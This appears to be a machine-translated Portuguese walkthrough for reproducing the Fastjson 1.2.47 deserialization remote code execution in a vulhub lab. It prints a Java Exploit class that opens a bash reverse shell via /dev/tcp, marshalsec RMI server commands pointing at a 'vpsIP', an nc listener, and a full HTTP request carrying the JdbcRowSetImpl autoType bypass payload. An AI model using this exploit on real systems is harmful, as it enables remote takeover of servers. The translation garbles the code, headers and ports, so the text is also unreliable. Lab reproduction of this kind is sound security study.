O Fastjson 1.2.47 não com.sun.jndi.rmi.object.trustURLCodebase
possui limitações nesta versão , por isso causou esta vulnerabilidade.Para uma análise específica, consulte o artigo
https://www.freebuf.com/vuls/208339.html
Pré-requisitos (evite pisar em alguns poços)
Antes de reproduzir esta vulnerabilidade, é melhor reproduzir a desserialização do Fastjson 1.2.24, porque os dois métodos de reprodução de vulnerabilidades são muito semelhantes
1. Deve ser a versão java 1.8, caso contrário, alguns comandos não podem ser compilados e executados, versão java -version view
2. Todas as ferramentas e pacotes compilados devem estar no mesmo diretório
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class
Construção do ambiente
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
Crie acesso completo ao ip: porta 8090
Referência de recorrência
https://www.cnblogs.com/websecyw/p/11905014.html
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
1. Obter exp
git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE
De fato, essa exp é um código que recupera o shell
classe pública Exploit { public Exploit () { try { Runtime.getRuntime (). exec ( " / bin / bash -c $ @ | bash 0 echo bash -i> & / dev / tcp / 127.0.0.1 / 8888 0> & 1 " ); } catch (Exceção e) { e.printStackTrace (); } } public static void main (String [] argv) { Exploit e = new Exploit (); } }
2. vim Exploit.java modificado para vpsIP e port
3.javac Exploit.java compilado no arquivo de classe
4. python -m SimpleHTTPServer 4444 Serviço http aberto
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http: // vpsIP : 4444 / # Exploit" 9999
6. Monitor nc -lvnp 7777
7. Envie o POC, ele se recuperará e fará o shell
Escrevo o pacote de dados inteiro e modifico diretamente o endereço e a porta da letra vermelha quando é usada.
Host POST / HTTP / 1.1 : User Agente do usuário ip : Mozilla / 5.0 (Windows NT 6.2 ; WOW64; rv: 18.0 ) Gecko / 20100101 Firefox / 18.0 Aceitar: text / html, application / xhtml + xml, application / xml; q = 0,9 , * / * ; q = 0,8 Idioma de aceitação: zh-cn, zh; q = 0,8, pt-br; q = 0,5, pt; q = 0,3 Codificação de aceitação: gzip, deflate Conexão: fechar Tipo de conteúdo : application / json Comprimento do conteúdo: 264 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi: // vpsIP : 9999 / Exploit", "autoCommit": true } }
8. Shell de recuperação bem-sucedido